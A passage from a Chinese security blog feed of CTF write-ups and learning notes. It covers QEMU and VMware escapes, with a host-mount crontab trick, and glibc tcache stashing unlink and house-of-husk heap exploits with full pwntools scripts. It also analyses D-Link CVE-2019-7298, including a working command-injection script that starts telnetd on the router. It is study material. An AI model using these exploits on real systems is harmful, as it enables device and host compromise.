+ 0x18) = buffaddr;// // oob write uint64_t CP_list_cnt = 0x11; mmio_write(16, CP_list_cnt); for (int i = 0; i < CP_list_cnt; i++) { *(uint64_t *)(buf + 8 * (i * 3)) = (uint64_t)(v2p(buf1)); // src *(uint64_t *)(buf + 8 * (i * 3 + 1)) = (uint64_t)(0x1020); *(uint64_t *)(buf + 8 * (i * 3 + 2)) = (uint64_t)(v2p(buf1)); //dst } for (int i=0x0;i<0x1000;i+=0x20){ strcpy(buf1+i,"/bin/sh\x00"); } mmio_write(8, v2p(buf)); //CP_list_src = buf; mmio_write(24, 1); //cmd = 1 sleep(0.5); //call mmio_write(24, 10); return 0;}</code></pre><h3 id="2020Geekpwn-qemu逃逸-Vimu"><a href="#2020Geekpwn-qemu逃逸-Vimu" class="headerlink" title="[2020Geekpwn-qemu逃逸-Vimu]"></a>[2020Geekpwn-qemu逃逸-Vimu]</h3><p>double free漏洞,可以任意free一个mmap到的地址,然后就是多线程堆利用。</p><p>qemu被strip去符号,(设备vin相关的函数给提取出来才能进一步分析,搜索特征字符串然后对比着<a href="https://github.com/qemu/qemu/blob/master/hw/misc/edu.c">edu.c</a>源码提取出的函数)。</p><h3 id="2022hufuctf"><a href="#2022hufuctf" class="headerlink" title="[2022hufuctf]"></a>[2022hufuctf]</h3><p>[赛中进度]可以溢出flag位,所以可以重复调用timer注册的func,就可以泄露堆地址,然后溢出到dst后面的timer结构体和process结构体,然后就不会做了,没有程序地址泄露,远程的地址也和本地不一样。</p><p>[总结]timer触发时间有延迟,趁着延迟改写src,泄露程序基地址,写QumuTimer结构体劫持控制流。挺脑洞的,我对timer理解也不到位。</p><p>设置 timer 的触发时间 expire_time,启动 timer。趁时间未到 expire_time 、 timer 没有被触发时,利用越界写将memcopy_src字段改写为timer+0x10,这个位置上面有hfdev_func地址。</p><p>触发后,timer 调用hfdev_func,将memcopy_src指向的内容复制到 buf,从而泄露hfdev_func地址,得到程序基址。</p><p>利用泄露的堆地址,在op中伪造一个 timer 对象,将callback设为system,opaque设为cat flag地址。利用越界写将 fake timer 地址覆盖到timer指针,然后触发 timer,最后实现 RCE。</p><h3 id="2018Real-World-CTF-Vmware"><a href="#2018Real-World-CTF-Vmware" class="headerlink" title="[2018Real World CTF-Vmware]"></a>[2018Real World CTF-Vmware]</h3><p><a href="https://zhuanlan.zhihu.com/p/52140921">2018Real World CTF-Vmware</a></p><p>vmware中guest机和host机通信的方法是通过对guest用户态的 in / out 564D5868h 软中断的处理来完成的(这在vmware中被称为backdoor接口)</p><p>这个题目的漏洞点就在这个软中断的处理中,题目patch了正常逻辑,通过二进制比对找到patch的地方即可定位漏洞点,漏洞类型为double free</p><h3 id="2019数字经济共测大赛-docker-qemu-vmware"><a href="#2019数字经济共测大赛-docker-qemu-vmware" class="headerlink" title="[2019数字经济共测大赛 docker-qemu-vmware]"></a>[2019数字经济共测大赛 docker-qemu-vmware]</h3><p><a href="https://xz.aliyun.com/t/7345#toc-2">从0到1的虚拟机逃逸三部曲=docker-qemu-vmware</a></p><p>docker insmod了带漏洞的ko,简单逻辑逆向。</p><p>非预期:docker带privileged时权限和宿主机root基本一样,<code>mkdir /xyz ; mount /dev/sda1 /xyz</code>可访问宿主机硬盘。例如在/etc/crontab中加一行就可以弹计算器了,注意Display=:0。</p><pre><code>* * * * * b DISPLAY=:0 /usr/bin/gnome-calculator</code></pre><p>vmware 和[2018Real World CTF-Vmware]基本一样,题目patch了正常逻辑留了后门,二进制比对定位漏洞点。</p><h3 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h3><p><a href="https://luohao-brian.gitbooks.io/interrupt-virtualization/content/kvmzhi-nei-cun-xu-ni531628-kvm-mmu-virtualization.html">Kernelgo’s KVM学习笔记</a></p><p><a href="https://bbs.pediy.com/thread-265501.htm">[原创]QEMU逃逸初探</a></p><p><a href="https://xz.aliyun.com/t/6562">qemu pwn-基础知识-raycp</a></p><p><a href="https://xz.aliyun.com/t/8017">https://xz.aliyun.com/t/8017</a></p><p><a href="https://zhuanlan.zhihu.com/p/52140921">https://zhuanlan.zhihu.com/p/52140921</a></p><p><a href="https://xz.aliyun.com/t/7345#toc-2">https://xz.aliyun.com/t/7345#toc-2</a></p><p><a href="https://blog.csdn.net/sinat_38205774/article/details/104468894">QEMU中的事件处理机制——-timer(以openpic中的定时器为例)</a></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>GeekPwn热身赛 2020 wp</title>
<link href="GeekPwn-2020-wp/"/>
<url>GeekPwn-2020-wp/</url>
<content type="html"><![CDATA[<h2 id="playthenew"><a href="#playthenew" class="headerlink" title="playthenew"></a>playthenew</h2><p>久闻<code>Tcache Stashing Unlink Attack</code>大名一直不会,今日就着这题学习一下。</p><p>[Glibc中堆管理的变化][<a href="https://www.freebuf.com/articles/system/234219.html]">https://www.freebuf.com/articles/system/234219.html]</a></p><h3 id="漏洞原理"><a href="#漏洞原理" class="headerlink" title="漏洞原理"></a>漏洞原理</h3><p>[Tcache Stashing Unlink Attack原理][<a href="https://blog.csdn.net/seaaseesa/article/details/105870247]">https://blog.csdn.net/seaaseesa/article/details/105870247]</a></p><p>Tcache Stashing Unlink Attack利用了calloc的分配特性,calloc不从tcache bin里取chunk,而是会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法插入到tcache bin里。首先,我们来看一下glibc 2.29的源码。</p><pre><code>/* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk { bck = victim->bk; //获取倒数第二个chunk if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性 malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; //将victim从small bin的链表中卸下 bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引 if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围 { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里 && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; //将当前chunk从small bin里卸下 bck->fd = bin; //放入tcache bin里 tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } </code></pre><p>如上,从small bin中取出最后一个chunk时,对双向链表做了完整性的检查,然而后面将剩余chunk放入tcache bin的时候,却没有这个检查。然后,bck->fd = bin;这句代码,可以将bck->fd处写一个main_arena地址。如果我们可以控制bck,那么就能实现任意地址处写一个main_arena的地址。同理,如果我们能够控制small bin的bck,并且保证vuln_addr->fd = bck,那么就能分配到vuln_addr处。</p><h3 id="攻击效果"><a href="#攻击效果" class="headerlink" title="攻击效果"></a>攻击效果</h3><p>任意地址写固定值(smallbin的地址)</p><p>向任意地址分配一个chunk</p><h3 id="攻击前提"><a href="#攻击前提" class="headerlink" title="攻击前提"></a>攻击前提</h3><ol><li>能控制 Small Bin Chunk 的 bk 指针。</li><li>程序可以越过Tache取Chunk。(使用calloc即可做到)</li><li>程序至少可以分配两种不同大小且大小为unsorted bin的Chunk。</li></ol><h3 id="构造方法"><a href="#构造方法" class="headerlink" title="构造方法"></a>构造方法</h3><h4 id="方法1"><a href="#方法1" class="headerlink" title="方法1"></a>方法1</h4><p>在smallbin里提前放chunk1、chunk2,tcache填6个</p><pre><code>chunk2(0x55555555a680)->fd->chunk1(0x55555555a3e0)</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200909135544961.png"></p><p>这时通过UAF篡改chunk2的bk为<em>0x</em>100000-<em>0x</em>10。注意此处有双向链表的完整性检查,如果不能绕过fd写bk,那么是需要构造fd的(也就是说需要泄露堆地址)。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200909141404.png"></p><p>calloc分配得到chunk1后bck(即chunk2->bk)->fd会被填入bin。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200909141736.png"></p><p>这里0x00007ffff7fbac70是&main_arena+0xf0,即smallbins(0xa0)的地址</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200909144533.png"></p><pre><code>from pwn import *context.update(arch='amd64',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./playthenew.dms')libc_offset = 0x3c4b20gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]if debug: io = process('./playthenew.dms') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')else: io = remote('183.60.136.226',17381)s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def buy(idx,sz,name='a\n'): ru('> ') sl('1') ru("Input the index:") sl(str(idx)) ru("input the size of basketball:") sl(str(sz))#(0x80,0x200] ru("Input the dancer name:") s(name)def delete(idx): ru('> ') sl('2') ru("Input the idx of basketball:") sl(str(idx))def show(idx): ru('> ') sl('3') ru("Input the idx of basketball:") sl(str(idx)) ru('Show the dance:')def edit(idx,name): ru('> ') sl('4') ru("Input the idx of basketball:") sl(str(idx)) ru("The new dance of the basketball:") s(name)def six(sth): ru('> ') sl('5') ru(b'Input the secret place:') sl(sth)def sixsix(): ru('> ') s(str(0x666)+'\n')buy(0,0xa0-8,"1")buy(1,0x150-8,"1")buy(2,0x150-8,"1")#preserve top#leak heapdelete(0)edit(0,'0'*16)delete(0)show(0)heap_base=u64(r(6)+b'\x00\x00')-0x10-0x290edit(0,'0'*16)#make tcache 0xa0 6for i in range(4): delete(0) edit(0,'0'*16)#make tcache 0x150 fullfor i in range(7): delete(1) edit(1,'0'*16)delete(1) #0x150->unsorted binshow(1) #leak libclibc.address=u64(r(6)+b'\x00\x00')-0x1eabe0buy(3,0xb0-8,"1") #0xa0->unsorted bin #0xa0+0xb0=0x150buy(3,0x150-8,"222") #chunk1 0xa0->small binbuy(4,0x150-8,"222") #preserve topdelete(3) #0x150->unsorted binbuy(4,0xb0-8,"1") #0xa0->unsorted bin buy(4,0x150-8,"222") #chunk2 0xa0->small binedit(3,b'1'*(0xb0-8)+p64(0xa1)+p64(heap_base+0x3e0)+p64(0x100000-0x10))gdb.attach(io)buy(3,0xa0-8,"1") #attack!io.interactive()</code></pre><h4 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h4><p>在smallbin里提前放一个chunk,tcache填6个</p><p>这种方法需要手动布置<code>__glibc_unlikely (bck->fd != victim)</code>,具体是将chunk的bk改为fakechunk,fakechunk的fd设置为chunk,bk设置为<code>要填入smallbin_addr的地址-0x10</code>。分配chunk后,fakechunk->bk->fd会被填入bin。这种方法和前面方法相比复杂一点。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200909143842323.png"></p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20200909144020.png"></p><p>另外,这里进到tcache的chuck是一个人为构造的假chunk(heap_base+<em>0x</em>340)。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20201003165705.png"></p><pre><code>from pwn import *context.update(arch='amd64',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./playthenew.dms')libc_offset = 0x3c4b20gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]if debug: io = process('./playthenew.dms') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')else: io = remote('183.60.136.226',17381)s = lambda data :io.send(data) sa = lambda data1,data :io.sendafter(data1, data)sl = lambda data :io.sendline(data)sla = lambda data1,data :io.sendlineafter(data1, data)r = lambda numb=4096 :io.recv(numb)ru = lambda data1, drop=True :io.recvuntil(data1, drop)def buy(idx,sz,name='a\n'): ru('> ') sl('1') ru("Input the index:") sl(str(idx)) ru("input the size of basketball:") sl(str(sz))#(0x80,0x200] ru("Input the dancer name:") s(name)def delete(idx): ru('> ') sl('2') ru("Input the idx of basketball:") sl(str(idx))def show(idx): ru('> ') sl('3') ru("Input the idx of basketball:") sl(str(idx)) ru('Show the dance:')def edit(idx,name): ru('> ') sl('4') ru("Input the idx of basketball:") sl(str(idx)) ru("The new dance of the basketball:") s(name)def six(sth): ru('> ') sl('5') ru(b'Input the secret place:') sl(sth)def sixsix(): ru('> ') s(str(0x666)+'\n')buy(0,0xa0-8,"1")buy(1,0x150-8,"1")buy(2,0x150-8,"1")#preserve top#leak heapdelete(0)edit(0,'0'*16)delete(0)show(0)heap_base=u64(r(6)+b'\x00\x00')-0x10-0x290edit(0,'0'*16)#make tcache 0xa0 6for i in range(4): delete(0) edit(0,'0'*16)#make tcache 0x150 fullfor i in range(7): delete(1) edit(1,'0'*16)#leak libcdelete(1)show(1)libc.address=u64(r(6)+b'\x00\x00')-0x1eabe0buy(3,0xb0-8,"1") buy(3,0x150-8,"222") c=p64(0)+p64(0xa0)c+=p64(heap_base+0x3e0) #fakechunk->fd = chunkc+=p64(0x100000-0x10) #attacked addrc=c.ljust(0xb0-8,b'a')c+=p64(0xa1)c+=p64(0xdeadbeef) c+=p64(heap_base+0x340) #chunk->bk = fakechunkedit(1,c)gdb.attach(io)buy(3,0xa0-8,"1")io.interactive()</code></pre><h4 id="方法3"><a href="#方法3" class="headerlink" title="方法3"></a>方法3</h4><p>前几天打比赛的时候,ama2in9大佬说可以不用calloc,学习一波:</p><pre><code>#include <stdio.h>#include <stdlib.h>int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n"); fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); // stack_var emulate the fake_chunk we want to alloc to fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n"); fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = (unsigned long)(&stack_var[2]); stack_var[5] = 0x00007ffff7dcfd30; ///!!!!&main_arena+0xf0 fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n"); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //put 7 tcache fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);//>0x90 //now 5 tcache bins fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); for(int i = 0;i < 7;i++){ malloc(0x90); } fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); malloc(0x90); fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); //malloc and return our fake chunk on stack target = malloc(0x90); fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); return 0;}//18.04</code></pre><p>一步步分析下:</p><pre><code>chunk_lis[2][1] = (unsigned long)stack_var;</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20201003144553.png"></p><pre><code>malloc(0x90);</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20201003144713466.png"></p><pre><code>target = malloc(0x90); </code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20201003144830.png"></p><p>前面两种方法利用的是当tcache满7个退出从smallbin里取chunk的循环,这里利用的是当smallbin空了后停止从smallbin里取chunk。</p><pre><code>while (tcache->counts[tc_idx] < mp_.tcache_count //当tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin里 && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; //将当前chunk从small bin里卸下 bck->fd = bin; //放入tcache bin里 tcache_put (tc_victim, tc_idx); } } </code></pre><p>也可以直接这样。</p><pre><code>#include <stdio.h>#include <stdlib.h>int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n"); fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n"); // stack_var emulate the fake_chunk we want to alloc to fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n"); fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n"); stack_var[3] = 0x00007ffff7dcfd30; ///!!!!&main_arena+0xf0 fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n"); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //put 7 tcache fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n"); for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n"); //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n"); malloc(0xa0);//>0x90 //now 5 tcache bins fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n"); for(int i = 0;i < 7;i++){ malloc(0x90); } fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n"); malloc(0x90); fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]); //malloc and return our fake chunk on stack target = malloc(0x90); fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target); return 0;}//18.04</code></pre><pre><code>chunk_lis[2][1] = (unsigned long)stack_var;</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20201003172244.png"></p><pre><code>malloc(0x90);</code></pre><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/20201003172352.png"></p>]]></content>
<tags>
<tag> PWN </tag>
</tags>
</entry>
<entry>
<title>D-Link CVE-2019-7298学习记录</title>
<link href="D-Link-CVE-2019-7298/"/>
<url>D-Link-CVE-2019-7298/</url>
<content type="html"><![CDATA[<h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>使用binwalk提取固件。</p><p><img src="/img/image-20220512025701778.png" alt="image-20220512025701778"></p><p>可以看出文件系统是 <code>squashfs</code> 。</p><p>内核启动之后将启动init进程,init进程启动时根据/etc/inittab这个文件来在不同运行级别启动相应的进程或执行相应的操作。其中sysinit代表系统的初始化,只有系统开机或重新启动的时候,后面对应的process才会执行。</p><pre><code>::sysinit:/etc/init.d/rcS</code></pre><p>在rcS中,先执行一系列mkdir和设置,接着执行<code>goahead</code>。</p><blockquote><p><code>goahead</code> 是一个开源的 <code>web</code> 服务器,用户的定制性非常强。可以通过一些 <code>goahead</code> 的 <code>api</code>定义 <code>url</code>处理函数和可供 <code>asp</code> 文件中调用的函数,具体可以看看官方的代码示例和网上的一些教程。</p></blockquote><p>goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数:</p><pre><code>websUrlHandlerDefine(T("/HNAP1"), NULL, 0, websHNAPHandler, 0);websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);</code></pre><p>以上代表/HNAP1的请求交给websHNAPHandler函数处理,/gofrom的请求交给websFormHandler函数处理,/cgi-bin的请求交websCgiHandler函数处理。这些处理函数有统一的参数:</p><pre><code>int (*fn)(webs_t wp, char_t *url, char_t *path, char_t *query)wp Web server connection handle. url Request URL. path Request path portion of the URL. query Query string portion of the URL.</code></pre><p>先了解/HNAP1请求的处理函数,在goahead中查找“HNAP1”字符串并通过xref定位处理函数sub_42383c</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200703012926666.png" alt="image-20200703012926666"></p><p><code>sub_4238c</code>主要通过遍历全局的函数表来处理HNAP1接受的不同请求。function_list中每个元素的前四个字节为函数名,后四个字节为对应的函数地址。当在function_list中找到函数名与请求相同的字符串时,向/var/hnaplog中记录<code>param_7</code>的值,这个值从汇编中不太能看出,在运行过程中查看/var/hnaplog能猜出来。之后调用对应的函数地址处理相关请求。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200703013323821.png" alt="image-20200703013323821"></p><p>这里无论处理请求的函数名是什么,在找到之后会通过snprintf输入字符且未做检查,之后直接system执行,存在命令注入漏洞。如果post请求是’<code>/bin/telnetd</code>‘,就会先开启telnet服务器,再将字符写入hnaplog。</p><p>另外需要注意,post的数据要加上引号,因为echo ‘%s’ > /var/hnaplog中本身带了单引号,如果只是<code>/bin/telnet</code>,相当于</p><pre><code>echo '`/bin/telnet`' > /var/hnaplog</code></pre><p>由于命令由引号括起,会当做字符串处理,不会执行命令</p><p>而</p><pre><code>echo ''`/bin/telnet`'' > /var/hnaplog</code></pre><p>post中的两个引号分别与自带的两个引号组合,反引号没有嵌套在单引号中,会当做命令执行。</p><h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><pre><code>import requestsfrom pwn import *IP=''headers = requests.utils.default_headers()headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/SetNetworkTomographySettings"'headers["Content-Type"] = "text/xml; charset=UTF-8"headers["Accept"]="*/*"headers["Accept-Encoding"]="gzip, deflate"headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\ <soap:Body>\ <SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">\ <Address>;telnetd;</Address>\ <Number>4<Number>\ <Size>4</Size>\ </SetNetworkTomographySettings></soap:Body></soap:Envelope>'r = requests.post('http://'+IP+':9000/HNAP1/', headers=headers, data=payload)print(r.text)headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/GetNetworkTomographyResult"'payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">\ <soap:Body>\ <GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/">\ </GetNetworkTomographyResult></soap:Body></soap:Envelope>'r = requests.post('http://'+IP+':9000/HNAP1/', headers=headers, data=payload)print(r.text)p=remote(IP,23)p.interactive()</code></pre><h4 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h4><p><a href="https://xz.aliyun.com/t/5705">https://xz.aliyun.com/t/5705</a></p>]]></content>
<tags>
<tag> CVE </tag>
</tags>
</entry>
<entry>
<title>DefenitCTF 2020 wp</title>
<link href="DefenitCTF-wp/"/>
<url>DefenitCTF-wp/</url>
<content type="html"><![CDATA[<h2 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h2><h3 id="errorProgram"><a href="#errorProgram" class="headerlink" title="errorProgram"></a>errorProgram</h3><h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>这道题目的堆操作给了MALLOC、FREE、EDIT、VIEW,MALLOC只能分配[0x777,0x77777]的块,也就是只能操纵large bin,FREE和EDIT都可以随意UAF,VIEW没有限制。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200614205046176.png" alt="image-20200614205046176"></p><p>题目给了假的栈溢出漏洞,程序会检查是否溢出并在溢出时exit退出。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200614204603328.png" alt="image-20200614204603328"></p><p>给了假的格式化字符串漏洞,因为输入的字符串中不能出现<code>%</code>和<code>$</code>。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200614204723582.png" alt="image-20200614204723582"></p><h4 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h4><p>这道题目可以用今年四月份hatena提出的利用方式 house of husk,能够在有large bin UAF漏洞的情况下getshell。</p><p><a href="https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507">https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507</a></p><p>贴上学长大佬写的学习笔记:<a href="https://www.anquanke.com/post/id/202387">https://www.anquanke.com/post/id/202387</a></p><p>使用unsorted bin attack修改global_max_fast,将libc上的、位于main_arena之后的__printf_arginfo_table改为堆上的块地址,在块里提前写好onegadget。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200614203024124.png" alt="image-20200614203024124"></p><p>可是这道题目给的格式化字符串漏洞不能输入<code>%</code>,就没法随意调用__printf_arginfo_table上的函数。不过栈溢出漏洞里有一个<code>%x</code>可供使用。</p><p><img src="https://qiiq-1258887625.cos.ap-chengdu.myqcloud.com/image-20200614205559387.png" alt="image-20200614205559387"></p><p>__printf_arginfo_table的内容如下,这样解析到<code>%x</code>时就可以调用到onegadget了。</p><pre><code>c=b''c=c.ljust((ord('x')-2)*8)c+=p64(libc.address+onegadgets[2])edit(1,c)或edit(2,c)</code></pre><p>完整exp</p><pre><code class="python">from pwn import*context.log_level = 'debug'context.arch = 'amd64'context.os = 'linux'binary='./errorProgram.dms'elf=ELF(binary)debug=1if debug: io=process(binary)else: io = remote("error-program.ctf.defenit.kr",7777)onegadgets=[0x4f2c5,0x4f322,0x10a38c]libc = ELF("./libc-2.27.so")s = lambda data :io.send(data) sa = lambda data1,data 